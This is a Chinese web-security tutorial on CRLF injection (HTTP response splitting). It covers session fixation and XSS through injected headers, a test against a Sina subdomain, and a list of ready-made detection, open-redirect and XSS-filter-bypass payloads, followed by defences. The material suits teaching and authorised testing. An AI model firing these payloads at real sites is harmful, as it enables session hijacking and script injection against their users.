文章目录

漏洞简介
漏洞利用
- 会话固定
- XSS攻击
实战案例
挖掘技巧
漏洞防御

漏洞简介

CRLF 是 CR 和 LF 两个字符的拼接，它们分别代表 “回车+换行”（\r\n），全称为 “Carriage Return/Line Feed”，十六进制编码分别为0x0d 和 0x0a，URL编码为 %0D 和 %0A 。CR 和 LF 组合在一起即 CRLF 命令，它表示键盘上的 “Enter” 键，许多应用程序和网络协议使用这些命令作为分隔符。

在 HTTP 协议中，HTTP header 之间是由一个 CRLF 字符序列分隔开的，HTTP Header 与 Body 是用两个 CRLF 分隔的，浏览器根据这两个 CRLF 来取出 HTTP 内容并显示出来。

所以如果用户的输入在 HTTP 返回包的 Header 处回显，便可以通过 CRLF 来提前结束响应头，在响应内容处注入攻击脚本。因此 CRLF Injection 又叫 HTTP 响应拆分/截断（HTTP Response Splitting，简称HRS）。

此处可以在本地测试一下 CRLF 字符的作用，如输入111%0d%0a222%0d%0a%0d%0a333，能看到插入一个 CRLF 字符和两个 CRLF 字符依次的作用是换行和插入空行：

CRLF 注入漏洞的本质和 XSS 有点相似，攻击者将恶意数据发送给易受攻击的 Web 应用程序，Web 应用程序将恶意数据输出在 HTTP 响应头中（XSS一般输出在主体中）。所以 CRLF 注入漏洞的检测也和 XSS 漏洞的检测差不多。通过修改 HTTP 参数或 URL，注入恶意的 CRLF，查看构造的恶意数据是否在响应头中输出。

漏洞利用

根据插入的 CRLF 的个数不同，可设置任意的响应头，控制响应正文两个主要的利用办法。具体的危害表现在：会话固定、XSS、缓存病毒攻击、日志伪造等等。

会话固定

正常一般网站会在 HTTP 头中用 Location: ip 这种方式来进行302跳转，所以攻击者可以构造恶意的 CRLF 字符控制的内容就是Location:后面的内容！

一个正常的 302 跳转包是这样：

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn

但如果我们输入的是：

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行，此时的返回包就会变成这样：

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个 SESSION，造成一个“会话固定漏洞”。

XSS攻击

当然，HRS 并不仅限于会话固定，通过注入两个 CRLF 就能造成一个无视浏览器 Filter 的反射型 XSS。

比如一个网站接受 url 参数 http://test.sina.com.cn/?url=xxx，xxx 放在 Location 后面作为一个跳转。如果我们输入的是：

http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

返回包就会变成这样：

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:<img src=1 onerror=alert(/xss/)>

之前说了浏览器会根据第一个 CRLF 把 HTTP 包分成头和体，然后将体显示出来。于是我们这里这个标签就会显示出来，造成一个XSS。

为什么说是无视浏览器 Filter 的？

这里涉及到另一个问题。浏览器的 Filter 是浏览器应对一些反射型XSS做的保护策略，当 url 中含有 XSS 相关特征的时候就会过滤掉不显示在页面中，所以不能触发 XSS。怎样才能关掉 filter？一般来说用户这边是不行的，只有数据包中 http 头含有X-XSS-Protection 并且值为 0 的时候，浏览器才不会开启 filter。

说到这里应该就很清楚了，HRS 不正是注入 HTTP 头的一个漏洞吗，我们可以将 X-XSS-Protection:0 注入到数据包中，再用两个 CRLF 来注入 XSS 代码，这样就成功地绕过了浏览器 filter，并且执行我们的反射型 XSS。所以说 HRS 的危害大于 XSS，因为它能绕过一般 XSS 所绕不过的 filter，并能产生会话固定漏洞。

综上，当我们输入两次%0d时，响应头和响应正文会进行分离，就可以构成反射型 xss，Payload 如下：

http://you-ip/?setcookie=%0dX-XSS-Protection:%200%0a%0d%0a%0d%0a<script>alert('xss')</script>

响应包：

HTTP/1.1 200 OK
Content-Type: text/html
Connection: close
set-cookie:
X-XSS-Protection: 0<script>alert('xss')</script>

实战案例

来一个真实案例，新浪某分站含有一个 url 跳转漏洞，危害并不大，于是我就想到了 CRLF Injection，当我测试：

http://xxx.sina.com.cn/?url=%0d%0a%0d%0a%3Cimg%20src=1%3E

的时候，发现图片已经输出在页面中了，说明 CRLF 注入成功了：

那么我们试试 XSS 看看：

看控制台，果然被 XSS Filter 拦截了。

那么我们就注入一个：

X-XSS-Protection:0

到数据包中，看看什么效果：

挖掘技巧

挖掘此类漏洞，依旧要遵循亘古不变的原则，观察我们的 “输入” 和 “输出” 位置，对于 CRLF 则是观察返回的各种类型的协议头，所以挖掘分三步：

观察输出是否在返回头中，查看输入，可能是在 URL 值和参数、cookie 头中，在过往的挖掘过程中，最常见的两种情况是使用输入参数创建 Cookie和 302 跳转 location 处；
提交 %0D%0A 字符，验证服务器是否响应%0D%0A，若过滤可以通过双重编码绕过；
漏洞利用，使杀伤最大化，将漏洞转化为 HTML 注入，XSS，缓存等。

附上 CRLF Payload：

//探测漏洞：
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header//开放重定向：
/www.google.com/%2f%2e%2e%0d%0aheader:header//CRLF-XSS：
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e//XSS绕过：
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c///Location：
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

漏洞防御

要避免 http 响应截断，需要注意以下几点：

对用户的数据进行合法性校验，对特殊的字符进行编码，如<、>、’、”、CR、LF等，限制用户输入的 CR 和 LF，或者对 CR 和 LF 字符正确编码后再输出，以防止注入自定义 HTTP 头；
创建安全字符白名单，只接受白名单中的字符出现在 HTTP 响应头文件中；
在将数据传送到 http 响应头之前，删除所有的换行符。

Web安全-HTTP响应拆分(CRLF注入)漏洞相关推荐

crlf注入漏洞 java解决办法_HTTP响应拆分漏洞（CRLF注入攻击）解决办法
HTTP响应拆分漏洞(也叫CRLF注入攻击)解决办法.出现HTTP响应拆分漏洞的网站攻击者可能注入自定义HTTP头.例如,攻击者可以注入会话cookie或HTML代码.这可能会进行类似的XSS(跨站点 ...
【愚公系列】2023年05月网络安全高级班 065.WEB渗透与安全（SQL注入漏洞-手工注入）
文章目录前言一.SQL注入漏洞-手工注入 1.错误注入 2.布尔注入 2.1 通过`'or 1=1 --` 注入 2.2 通过`admin'or 1=1 --` 注入 3.联合注入 3.1 查看u ...
渗透测试-CRLF注入/HTTP响应拆分漏洞（HTTP Response Splitting）
漏洞描述因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符. 攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体, 并在响应中输出,所以又称为 H ...
每日漏洞 | CRLF注入
01 漏洞描述在<HTTP | HTTP报文>一文中,我们介绍了HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔.或者理解为首部最后一个字段有两个CRL ...
【转】基于SQL的Web系统安全防范——SQL注入漏洞
攻击研究及防范措施 SQL-Based Web System Security--Structured Query Language InjectionLeak Attack Study And De ...
linux json 写sql注入,【网络安全】SQL注入、XML注入、JSON注入和CRLF注入科普文
SQL注入所谓SQL注入,是将恶意SQL命令经过某种方式提交到服务器后台,并欺骗服务器执行这些恶意的SQL命令的一种攻击方式. -- [ 百度百科 ] 形成SQL注入漏洞缘由有两个:一个是没有对输入 ...
Web安全-浅析CSV注入漏洞的原理及利用
文章目录漏洞简介漏洞原理漏洞利用命令执行钓鱼攻击反弹shell 漏洞实例 Twitter网站 Hackerone 漏洞挖掘漏洞防御漏洞简介 CSV 注入(CSV Injection)漏 ...
网络安全之WEB注入漏洞(上)
WEB漏洞-----SQL 壹.基础知识前言讲解各种WEB层面上的有哪些漏洞类型,具体漏洞的危害等级,以及简要的影响范围测试进行实例分析,思维导图中的漏洞也是我们将要学习到的各个知识点,其实针对漏 ...
WEB安全：XSS漏洞与SQL注入漏洞介绍及解决方案
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

Web安全-HTTP响应拆分(CRLF注入)漏洞